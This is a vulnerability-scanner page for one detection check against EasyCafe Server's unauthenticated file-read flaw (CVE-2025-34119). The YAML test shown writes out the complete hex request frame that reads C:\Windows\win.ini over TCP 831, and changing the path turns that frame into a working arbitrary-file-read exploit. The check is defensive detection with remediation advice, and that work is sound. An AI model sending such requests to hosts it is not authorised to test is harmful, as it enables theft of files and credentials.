EasyCafe — 1 vulnerability check

noctis ships 1 vulnerability check for EasyCafe, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

EasyCafe Server unauthenticated remote file read

CVECVE-2025-34119
Severityhigh · CVSS 8.8
Categoryfile-read — File read
Servicesnetconf-beep, unknown
Detectiontcp_open, tcp_send, script, sleep, tcp_close, match · highest QoD 75
Feedtests/vulnerabilities/easycafe/CVE-2025-34119.yaml

EasyCafe Server 2.2.14 and earlier listens on TCP 831 for its file-transfer service, which internet-café client stations use to download files from the server. The service serves any file named by absolute path to anyone who connects, without authentication and without checking that the server offered the file first, so a remote attacker can read arbitrary files from the Windows host that runs it (CVE-2025-34119).

What the test sends: one connection carrying a file request (opcode 0x43) for the world-readable `C:\Windows\win.ini`, padded to the 261-byte request the service expects. If the first read holds no file contents, the socket is read again after a 1.5-second pause, since the service sends a 261-byte header first and the file contents after it. Nothing is written on the target, and no other file is requested: the server shows a message box on its console when a requested file does not exist.

What confirms the finding: the reply carries the contents of `win.ini`, both the `; for 16-bit app support` comment line and the `[extensions]` section header (QoD 75). The evidence holds the file size announced in the header and the first lines of the file.

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends a binary frame on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Sends … on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Checks ec.excerpt for ^; for 16-bit app support → finding QoD 75: EasyCafe Server discloses arbitrary files without authentication

References:

Feed source — tests/vulnerabilities/easycafe/CVE-2025-34119.yaml
# EasyCafe Server <= 2.2.14 (TCP 831) — CVE-2025-34119 unauthenticated file read.
#
# Detection logic ported from the OpenVAS/Greenbone NVT
# 2016/gb_easycafe_server_remote_file_read.nasl (OID 1.3.6.1.4.1.25623.1.0.806927,
# GPL-2.0-only). Kept as a comment: the description is product documentation.
# Request shape: the NVT's frame byte for byte — opcode 0x43, the absolute path
# "C:\Windows\win.ini", NUL padding to 256 bytes, then 01 00 00 00 01 (261
# bytes). The same layout is used by R-73eN's PoC (EDB-39102) and Metasploit's
# auxiliary/scanner/misc/easycafe_server_fileaccess module, which also give the
# reply shape: a 261-byte header (file size as u32le at byte 256), then the
# file contents.
#
# Better than the NVT:
#   - the NVT reads the reply once. The PoC and the Metasploit module read the
#     261-byte header first and the contents in later reads, so a server that
#     sends the contents after a pause leaves the NVT with the header alone (FN).
#     The test re-reads the socket after a pause when the first read does not
#     carry the file yet.
#   - the evidence carries the file size from the header and the first lines
#     of the file.
#
# No absent-file control request: the Metasploit module notes that the server
# pops up a message box on its console when the requested file does not exist,
# so only C:\Windows\win.ini (present on every Windows release since XP) is
# requested. Nothing is written on the target.
uid: 0af8d77f-179f-4bf6-9c2b-6bbc2bf4f088
name: "EasyCafe Server unauthenticated remote file read"
description: |
  EasyCafe Server 2.2.14 and earlier listens on TCP 831 for its file-transfer
  service, which internet-café client stations use to download files from the
  server. The service serves any file named by absolute path to anyone who
  connects, without authentication and without checking that the server
  offered the file first, so a remote attacker can read arbitrary files from
  the Windows host that runs it (CVE-2025-34119).

  What the test sends: one connection carrying a file request (opcode 0x43)
  for the world-readable `C:\Windows\win.ini`, padded to the 261-byte request
  the service expects. If the first read holds no file contents, the socket is
  read again after a 1.5-second pause, since the service sends a 261-byte
  header first and the file contents after it. Nothing is written on the
  target, and no other file is requested: the server shows a message box on
  its console when a requested file does not exist.

  What confirms the finding: the reply carries the contents of `win.ini`, both
  the `; for 16-bit app support` comment line and the `[extensions]` section
  header (QoD 75). The evidence holds the file size announced in the header and
  the first lines of the file.
cves: [CVE-2025-34119]
cvss: 8.8
severity: high
category: file-read
confidence_base: 0.30
tags: [easycafe, tinasoft, file-read, unauthenticated, windows, tcp-831]
# nmap has no version probe for EasyCafe: TCP 831 is reported under its
# nmap-services name (netconf-beep) or as "unknown".
services: [netconf-beep, unknown]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34119"
  - "https://www.exploit-db.com/exploits/39102"
  - "https://www.vulncheck.com/advisories/easy-cafe-server-remote-file-disclosure"
  - "https://raw.githubusercontent.com/rapid7/metasploit-framework/master/modules/auxiliary/scanner/misc/easycafe_server_fileaccess.rb"

steps:
  - id: connect
    action: tcp_open
    port: "{{port}}"
    handle: ec
    read_banner: false
    timeout_secs: 10
    store_as: conn

  # 0x43 + "C:\Windows\win.ini" + NUL padding to 256 bytes + 01 00 00 00 01.
  # An unknown handle (connect failed) stores sent == false, so `r1` is always set.
  - id: file-request
    action: tcp_send
    handle: ec
    send_hex: "43433a5c57696e646f77735c77696e2e696e690000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000001"
    timeout_secs: 10
    store_as: r1

  # Does the first read already carry the file?
  - id: first-read
    action: script
    store_as: p1
    code: |
      let txt = if type_of(r1.response) == "string" { r1.response } else { "" };
      #{
        complete: stridx(txt, "; for 16-bit app support") >= 0 && stridx(txt, "[extensions]") >= 0,
        sent: r1.sent == true
      }

  # Header first, contents later: wait, then read what arrived since.
  - id: wait-contents
    action: sleep
    condition: "p1.sent == true && p1.complete == false"
    duration_ms: 1500

  # Read-only (empty payload). Always runs so `r2` is always set.
  - id: late-read
    action: tcp_send
    handle: ec
    send: ""
    timeout_secs: 10
    store_as: r2

  - id: close
    action: tcp_close
    handle: ec

  # Join both reads into `ec`:
  #   win_ini  bool — both win.ini markers in the reply
  #   length   int  — reply bytes
  #   size     int  — file size from the header (u32le at byte 256), -1 if short
  #   excerpt  str  — first 100 bytes of the file from the comment line on
  - id: parse-reply
    action: script
    store_as: ec
    code: |
      let t1 = if type_of(r1.response) == "string" { r1.response } else { "" };
      let t2 = if type_of(r2.response) == "string" { r2.response } else { "" };
      let h1 = if type_of(r1.response_hex) == "string" { r1.response_hex } else { "" };
      let h2 = if type_of(r2.response_hex) == "string" { r2.response_hex } else { "" };
      let txt = chomp(t1 + "\n" + t2);
      let hex = h1 + h2;
      let len = strlen(hex) / 2;
      let size = if len >= 261 { u32le(substr(hex, 512, 519)) } else { -1 };
      let ok = stridx(txt, "; for 16-bit app support") >= 0 && stridx(txt, "[extensions]") >= 0;
      #{
        win_ini: ok,
        length: len,
        size: size,
        excerpt: if ok { substr(strstr(txt, "; for 16-bit app support"), 0, 99) } else { "" }
      }

  - id: win-ini-read
    action: match
    condition: "ec.win_ini == true"
    source: ec.excerpt
    pattern: "^; for 16-bit app support"
    on_match:
      finding:
        title: "EasyCafe Server discloses arbitrary files without authentication"
        description: "The EasyCafe Server file-transfer service on this port returned the contents of C:\\Windows\\win.ini to an unauthenticated file request (opcode 0x43). EasyCafe Server 2.2.14 and earlier serve any file named by absolute path to anyone who connects, so a remote attacker can read arbitrary files from the Windows host, such as configuration files, databases or credentials readable by the service account (CVE-2025-34119)."
        remediation: "No fixed EasyCafe Server release is known. Block TCP 831 at the host and network firewalls so that only the café's client stations can reach it, run the server under a low-privileged account, or replace the product."
        confidence_delta: 0.55
        qod: 75
        evidence: "C:\\Windows\\win.ini read over TCP 831 ({{ec.length}} reply bytes, header file size {{ec.size}}): {{ec.excerpt}}"
      stop: true

View these feeds on GitHub